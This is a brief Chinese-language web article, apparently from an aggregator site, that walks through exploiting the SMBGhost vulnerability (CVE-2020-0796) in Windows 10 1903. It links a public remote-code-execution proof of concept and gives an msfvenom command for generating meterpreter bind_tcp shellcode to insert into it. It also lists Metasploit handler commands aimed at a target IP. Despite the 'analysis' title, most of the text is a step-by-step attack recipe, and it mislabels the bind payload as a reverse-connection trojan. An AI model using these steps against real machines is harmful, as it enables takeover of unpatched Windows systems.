导航：首页 > 互联网科技 >

如何进行Metasploit中的CVE-2020-0796的漏洞分析

发表于：2024-12-03 作者：千家信息网编辑

千家信息网最后更新 2024年12月03日，本篇文章为大家展示了如何进行Metasploit中的CVE-2020-0796的漏洞分析，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。一、漏洞描述：该漏洞是由

千家信息网最后更新 2024年12月03日如何进行Metasploit中的CVE-2020-0796的漏洞分析

本篇文章为大家展示了如何进行Metasploit中的CVE-2020-0796的漏洞分析，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。

一、漏洞描述：

该漏洞是由SMBv3处理恶意制作的压缩数据包，未经认证攻击者可能利用此漏洞执行任意代码。

二、测试环境及工具：

windows10 1903 64位下载：

ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/

CVE-2020-0796 "poc"下载：

https://github.com/chompie1337/SMBGhost_RCE_PoC

三、漏洞利用

1、生成反向连接木马：

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

2、替换POC，将上面生成的代码替换原文中的代码

3、启动Metasploit监听

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 4444  //监听端口set rhost 192.168.1.143  //目标主机run

3、运行poc，自动建立连接

上述内容就是如何进行Metasploit中的CVE-2020-0796的漏洞分析，你们学到知识或技能了吗？如果还想学到更多技能或者丰富自己的知识储备，欢迎关注行业资讯频道。

千家信息网